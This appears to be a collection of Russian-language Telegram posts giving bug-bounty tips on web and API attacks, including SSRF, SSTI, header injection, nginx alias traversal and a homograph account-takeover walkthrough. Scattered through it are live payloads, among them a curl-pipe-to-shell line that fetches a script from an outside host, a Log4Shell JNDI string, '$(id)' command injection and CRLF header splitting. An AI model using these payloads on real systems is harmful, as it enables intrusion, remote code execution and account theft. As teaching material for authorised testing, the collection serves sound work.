Standoff Bug Bounty Tips – Telegram
🔍 Как найти баги в API: 12 проверенных способов

Это далеко не все возможные техники, но именно они чаще всего приводят к результату на практике:

1️⃣ Blind XSS через заголовки: приложения могут логировать ваши данные различными способами, поэтому проверяйте XSS-пэйлоад в HTTP-заголовках (X-Forwarded-For, Referrer, User-Agent и других)

2️⃣ Устаревшие API: /api/v2/api/v1, /api/v2/api/, api-v2.example.comapi-v1.example.com или api.example.com

3️⃣ SSRF: заменяйте любой URI в запросах на контролируемый вами ресурс через Proxy Interceptor Match & Replace Rule и ждите входящие соединения

4️⃣ Поиск эндпоинтов: используйте GitHub, Google/Yandex дорки, анализируйте JavaScript, Swagger API или другую документацию

5️⃣ CSRF: удалите или замените anti-CSRF токен, меняйте Content-Type и метод запроса

6️⃣ Эксплуатация JWT: ищите слабые алгоритмы подписи, пробуйте манипулировать с токенами

7️⃣ Обход 401/403: попробуйте получить доступ ко вложенному пути (/admin 401 → /admin/system-resources 200), добавьте спецсимволы или измените методы запроса

8️⃣ Неправильная настройка CORS: проверьте правильность настроек CORS и убедитесь, что API позволяет отправлять запросы из любого источника с использованием учётных данных

9️⃣ Тестирование race conditions: проверяйте так называемые high-value транзакции — загрузка файлов, размещение заказов, платежи, переводы

1️⃣0️⃣ XXE: измените Content-Type с application/json на application/xml и проверьте на наличие XXE

1️⃣1️⃣ NoSQL инъекция: манипулируйте параметрами и добавляйте MongoDB (или любой другой NoSQL БД) пэйлоад для обхода ограничений

1️⃣2️⃣ Обход загрузки файлов: пробуйте загрузить файлы с нестандартными расширениями или без них, используйте известные методы обхода (null byte, magic byte и другие)
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
11🔥3
💡 4 простых способа обхода ошибки 403 (Forbidden) и получения доступа к админке

Это далеко не все возможные методы обхода ограничений, но даже такие простые и зачастую недооцененные техники могут быть весьма эффективными.

💬 Какие способы вам удавалось применять на практике? Делитесь в комментариях 👇
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥144🤔2
🔥 Реверс JavaScript еще никогда не был таким простым

В DevTools есть функция debug(), которая ставит breakpoint каждый раз, когда вызывается переданный в нее аргумент.

Это работает даже для встроенных методов — больше не нужно оборачивать их в прокси.

debug(DOMParser.prototype.parseFromString)
Please open Telegram to view this post
VIEW IN TELEGRAM
11👍3🔥3
💨 Повышаем импакт SSTI до RCE

Когда веб-приложение обрабатывает пользовательский ввод как часть шаблона, можно использовать встроенные функции шаблонизатора для отображения пользовательских данных, доступа к секретам, чтения локальных файлов и даже удаленного выполнения кода.

Но перед этим важно идентифицировать потенциальную уязвимость SSTI. Один из способов — преднамеренно вызвать ошибку с использованием различных спецсимволов:

{
}
$
#
@
%)
"
'
|
{{
}}
${
<%
<%=
%>


Как только мы подтвердим точку инъекции, переходим к следующему этапу — отправке различных пэйлоадов для инъекций в шаблон и наблюдению за тем, какие из них были обработаны.

Этот этап критичен, так как он поможет определить используемый движок шаблонов и создать эффективный пэйлоад для эксплуатации.

Все движки шаблонов используют различный синтаксис, но некоторые элементы могут быть схожи. Несколько часто используемых движков шаблонов рассмотрено в недавнем гайде от Intigriti:

▪️Python: Jinja2, Mako
▪️PHP: Twig, Smarty
▪️JavaScript: EJS, Handlebars, Pug
▪️Java: Thymeleaf, FreeMarker, Pebble
▪️C#: Razor
▪️Ruby: ERB, HAML, Slim
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍2
🔍 Eval Villain: умный парсинг JavaScript до загрузки страницы

Задумывались, как лучше находить скрытые GET-параметры или отлавливать DOM XSS? Вместо того чтобы тратить время на брутфорс, попробуйте расширение Eval Villain!

⚡️ Что умеет?

💚 Перехватывает нативные JavaScript-функции до загрузки страницы

💚 Парсит URL, сессии и другие параметры.

💚 Рекурсивно декодирует источники и помогает обходить обфускацию

🛠 Как помогает?

💚 Находит скрытые GET-параметры через перехват парсера URL: URLSearchParams.get

💚 Идеально для обнаружения DOM XSS: перехватывает JavaScript sinks и отслеживает ввод на наличие строк, найденных в источниках

💚 Сужает вывод на основе появления URL и артефактов сессии, строк/регулярных выражений, настроенных пользователем, черных списков и других параметров
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥93👍3🤡1
🔥 Как превратить blind SSRF в полноценную SSRF: новый подход от команды Assetnote

Blind SSRF в облачных окружениях часто упирается в то, что приложение не возвращает полный ответ — а значит, забываем про доступ к метаданным для получения учетных данных.

💡 Новая техника заключается в циклическом редиректе — и для ее тестирования стоит проверить, как ведет себя приложение в случае нескольких редиректов:

Предположим, несколько редиректов вызывают ошибку парсинга JSON (Exception: Invalid JSON). Если увеличить число до ~30, появляется другая ошибка — NetworkException.

На 500-ой ошибке приложение возвращает полный HTTP-ответ, но нам нужны облачные метаданные, а для них ответ всегда 200, и изменить его нельзя.

Зная, что приложение следует за 3xx редиректами, можно предположить, что некоторые 3xx коды могут вызвать тот же сбой, что и 500. А что если перебрать разные 3xx коды? Пример простого приложения — выше.

При эксплуатации SSRF путем указания URL-адреса, содержащего указанную логику, приложение отвечает полной цепочкой редиректов HTTP и нужным ответом.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥73
🧐 Эксплуатация SQL-инъекций при использовании prepared statements

Даже если приложение безопасно обрабатывает SQL-запросы и предпринимаются меры для защиты от SQL-инъекций, использование уязвимой сторонней библиотеки всё равно может свести защиту на нет.

Чаще всего всё ломается на строковых параметрах — если они плохо экранируются, можно сломать синтаксис запроса. Но что если сломать запрос можно не только строками? Например — комментариями.

MySQL требует пробел после --, чтобы строка была интерпретирована как комментарий. А вот PostgreSQL — нет. И тут всё зависит от режима работы:

#️⃣Простой (simple query) — SQL-строка уходит целиком, а параметры клиент подставляет сам.

#️⃣Расширенный (extended query) — SQL и параметры передаются отдельно, что исключает любые синтаксические фокусы.

Но многие клиенты PostgreSQL по умолчанию работают в простом режиме. А иногда расширенный вообще отключён — как, например, в старом PgBouncer или в некоторых конфигах Datadog.

В простом режиме все зависит от того, как библиотека вставит параметры. Например, PgJDBC при запросе SELECT 1-? и значении параметра -1 сгенерирует:

SELECT 1--1


PostgreSQL воспримет -- как комментарий и просто проигнорирует 1. Такая же история — в pg-promise, pgx, pg, pgdriver.

Но можно зайти ещё дальше. Если параметр — многострочная строка, можно внедрить свой код. Комментарий завершится на символе перевода строки, и остальная часть кода будет исполнена. Это даёт возможность внедрить произвольный SQL-код, если вы контролируете параметры.

🔗 Пруфы — в исследовании команды Sonar
Please open Telegram to view this post
VIEW IN TELEGRAM
4🔥4👍3
🤔 Нашли слишком простую багу? Подумайте шире. Reflected XSS + слабая логика = полный захват аккаунта.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥86
🖼️ Делегирование событий в JavaScript

Одна из интересных техник, на которую стоит обратить внимание при поиске багов в JS-коде — это делегирование событий. Вместо того чтобы вешать обработчик на каждый элемент, его вешают на document и обрабатывают клики через event.target.

🚨 Ключевой момент: такие обработчики работают даже для новых элементов, добавленных позже, например, через HTML-инъекцию.

Если вы можете внедрить элемент:

<a class="btn" href="https://evil.com">Click me</a>


и приложение уже слушает .btn на document — ваш элемент тоже будет обработан, как «родной».

💥 Это может привести к:

▪️Переходу по ссылке.
▪️Отправке запроса.
▪️Запуску JS-функции.

🔍 Ищите такие обработчики, проверяйте селекторы и пробуйте инжектить элементы, которые их триггерят.
Please open Telegram to view this post
VIEW IN TELEGRAM
5
💨 X-Correlation Injection: когда X-Request-ID становится оружием

HTTP-заголовки вроде X-Request-ID, X-Correlation-ID или x-trace-id нужны для трассировки запросов, но часто попадают в CI/CD, логи, мониторинг и даже в shell-команды. А значит — расширяют поверхность атаки.

🔍 Как искать

▪️Ищите заголовки с id в ответе (x-transaction-id, x-corellation-id, access-control-*).

▪️Проверяйте, отражается ли значение вашего заголовка в ответе — это может быть индикатором уязвимости.

▪️Фаззинг: вставляйте случайные ASCII-символы и смотрите на ошибки/аномалии (500, странное поведение).

x-request-id: ' " % & > [ $


💥 Примеры атак

🧵 Header Injection
x-request-id: 1%0d%0ax-account:456 → внедрение нового заголовка

☕️ Java header split
x-request-id: 1%c4%8d%c4%8anew-header: f00\u010d может стать \n → новый заголовок

💻 Command Injection
x-request-id: $(id) → прямое выполнение в shell-контексте

🧨 Log4Shell
x-request-id: ${jndi:rmi://x${sys:java.version}.attacker/a} — да, оно до сих пор встречается 😳

🧬 JSON Injection
x-request-id: 1"}. "payload":{"account":"456","foo":" → если заголовок попал в JSON — можно ломать структуру

🕵️‍♂️ Оптимизация OOB/Blind RCE

При выборе пэйлода для OOB/Blind-атаки важно учитывать, что он может попасть в разные контексты. Поэтому — минимум спецсимволов, чтобы не сломать формат. Что важно учитывать:

▪️Сбор данных после триггера.

▪️Байпас WAF: ${IFS} для пробелов в shell могут блочить, но $IFS — нет.

▪️Избегайте пробелов вообще — они могут "сломать" пэйлоад в разных контекстах.

▪️Используйте уникальный пэйлоад, чтобы отслеживать факты сработки (своего рода request-id).

▪️Если пэйлоад сработал и, например, вызвал команду curl на целевом сервере — это значит, что curl’у можно отдать bash-скрипт со своего сервера.

▪️Оповещение о событиях через Discord/Slack/Telegram.

Пример из практики:


'`curl$IFS@mydomain|sh`'$(curl$IFS@mydomain|sh)
Please open Telegram to view this post
VIEW IN TELEGRAM
117🔥6
😎 Поиск SSTI в лайт режиме

Tplmap + GAU = SSTI на автопилоте. Просто дай ссылку — он сам найдёт, где шаблон не закрыли.

🤌 Что делаем:

➡️gau example.com — собираем эндпоинты
➡️tplmap.py -u {url} — проверяем на SSTI

На примере tplmap нашёл уязвимость в _transaction_id, определил движок Jinja2 и успешно заинжектился через {{*}}. Контекст — текст, техника — render, ОС — Linux. Всё по красоте.

Инструмент умеет находить и эксплуатировать SSTI в популярных шаблонизаторах — вплоть до доступа к файловой системе и выполнению команд на сервере.

⚠️ Проект уже не поддерживается, но логика и подход по-прежнему актуальны. Отличная отправная точка, если хочешь собрать свой инструмент для автоматизации SSTI.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥102👍2🤔1
🏹 Распространенные ошибки в reverse-прокси: алиас со слэшом в конце

Reverse-прокси — серверы поверх веб-приложений, которые маршрутизируют трафик, управляют заголовками и т. д.

Файл /etc/nginx/nginx.conf содержит глобальные настройки и строку для подключения всех конфигов из /etc/nginx/conf.d/.

http {
...
include /etc/nginx/conf.d/*.conf;
}


Эти файлы находятся в контексте http {}, поэтому их не нужно открывать заново. Часто здесь добавляют дополнительные опции для контекста http, а также определения server {} для каждого приложения.

Одна из распространенных ошибок, которая может привести к уязвимости, — алиас со слешом в конце. Это происходит, когда выполняются два условия:

В location отсутствует слэш в конце
Директива alias или proxy_pass содержит слэш в конце

☝️ Пример выше показывает эту багу дважды. Проблема в том, что location /static будет соответствовать любому пути, начинающемуся с /static, включая /staticANYTHING или /static../anything.

После этого Nginx удаляет этот префикс и продолжает с оставшимся путем. Теперь это может быть ../anything, и при добавлении к static/ или v1/ может привести к переходу на один уровень выше:

GET /static../index.php HTTP/1.1


В итоге получаем путь /app/static/../index.php, который может раскрыть чувствительные исходники в /app/index.php.

💡 Та же идея с proxy_pass — его можно использовать для доступа к непредназначенной директории на бэкенде, используемой для отладки, других версий или даже другого приложения.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍64
🔫 0-Click Account Takeover с использованием атаки Punycode IDN Homograph

Гомографическая атака (IDN Homograph Attack) использует визуально схожие символы из разных алфавитов, чтобы подменить идентификаторы пользователей — чаще всего email-адреса.

Суть проста: уязвимая система может считать admin@example.com и аdmin@example.com (кириллическая «а» вместо латинской) одним и тем же адресом, а мы используем это, чтобы обойти регистрацию, сброс пароля и даже 2FA.

👉 Пример простой атаки:

Нам потребуются Burp Suite, Burp Collaborator и генератор Punycode.

1️⃣ Регистрируем аккаунт с использованием обычного email

security@gmail.com.bcrkly6yl8ke552nzjt7jtu52w8nwdk2.oastify.com


Проверяем, что почта пришла, логинимся и выходим.

2️⃣ Повторно регистрируемся, но с Punycode

Через Burp перехватываем POST-запрос регистрации. Заменяем a на à или кириллическую а (в зависимости от цели):

security@gmàil.com.bcrkly6yl8ke552nzjt7jtu52w8nwdk2.oastify.com


🎯 Если сервер отвечает:

Email already exists — значит, произошла коллизия (он считает адрес одинаковым).

3️⃣ Переходим к сбросу пароля

▪️В форме сброса указываем Punycode-адрес.
▪️Отправляем через Burp (иначе браузер перекодирует URL).
▪️Ждём отклика в Burp Collaborator: если прилетает SMTP callback со ссылкой на сброс — атака сработала.

4️⃣ Меняем пароль и логинимся

▪️Открываем ссылку из письма.
▪️Задаем новый пароль.
▪️Авторизуемся с оригинальным email и новым паролем.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥22🤯74👎2😁2
🔓 Один из самых простых кейсов при поиске багов в API… который многие почему-то игнорируют

Если ты видишь в ответе от сервера значение с именем id — не проходи мимо. Попробуй найти, где ещё этот id используется в других запросах.

💡 Такие эндпоинты часто уязвимы к проблемам контроля доступа:

▪️ IDOR (Insecure Direct Object Reference),
▪️ BOLA (Broken Object Level Authorization),
▪️ или Function Level Access Control.

⁉️ Если не знаешь, с чего начать анализ API — начни с этого. Во многих системах проверяют сам факт наличия id, но не проверяют, чей он и можно ли тебе его вообще видеть.
Please open Telegram to view this post
VIEW IN TELEGRAM
92🥱1
🚀 Lightyear: в слепую, но с прицелом

PHP filter chains — крутые векторы атак, которые позволяют реализовывать разные типы эксплойтов: маскировку файлов, манипуляции с содержимым, побайтовую выгрузку файлов через memory exhaustion и многое другое.

Помните старую добрую тулзу php_filter_chains_oracle_exploit? Да, ту самую, что помогала выцеживать PHP-файлы по байтам через blind file read + memory exhaustion.

Так вот. Пора её отпустить. Есть Lightyear, и это прям next level в эксплуатации примитивов слепого чтения файлов в PHP.

🤕 Что починили

🟥Payload теперь миниатюрный, в GET влезает без стыда
🟥Байт угадывается не по звёздам, а через бинарный поиск
🟥Нет memory exhaustion → нет подвисаний, нет «простите, сервер устал»
🟥И главное — никаких PHP warning'ов, от которых современные фреймворки начинали истерить

🔥 Результат

Файлы дампятся быстрее, чище и больше по размеру. Вроде бы та же цепочка фильтров, но будто на стероидах.
Please open Telegram to view this post
VIEW IN TELEGRAM
🥱54👍2
Где все API-эндпоинты? 6 советов для улучшения разведки API

API-разведка — это искусство, особенно когда работаешь с RESTful или GraphQL API, где интроспекция ограничена или отключена. Без документации можно запутаться, но на помощь приходит разведка.

💡 Вот 6 простых, но проверенных кейсов, которые помогут тебе найти больше API-эндпоинтов:

1️⃣ Используй кастомные словари

Многие API используют уникальные структуры и эндпоинты. Стандартные словари не всегда помогут. Используй специализированные инструменты вроде ffuf для брутфорса, а для более глубокого анализа отправляй рабочие эндпоинты в Burp.

2️⃣ Исследуй мобильные приложения (iOS, Android)

Мобильные приложения часто используют API, которые могут быть недоступны в веб-версии.

3️⃣ Проверяй каждый параметр в ответах API

Параметры в ответах могут скрывать дополнительные данные или эндпоинты. Пробуй манипулировать этими параметрами, чтобы выявить скрытые фичи или эндпоинты.

4️⃣ Попробуй старые версии API

Иногда старые версии API остаются доступными для обратной совместимости. Если API имеет версионность, попробуй обратиться к предыдущим версиям, чтобы найти дополнительные возможности.

5️⃣ Используй не только автоматизацию: внимательно изучай функционал

Не полагайся только на инструменты автоматизации. Часто решение лежит во внимании к деталям: попробуй нажать все кнопки, изучить доступные фичи приложения и элементы интерфейса.

6️⃣ Документация — твой друг

Если документация есть, начни с неё (Swagger, Postman, GraphQL-схему и другие). Внимательно проанализируй все эндпоинты, запросы и параметры. Не ограничивайся только описанным функционалом — проверь все возможные значения параметров и тестируй нестандартные запросы. Часто документация может быть неполной.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍42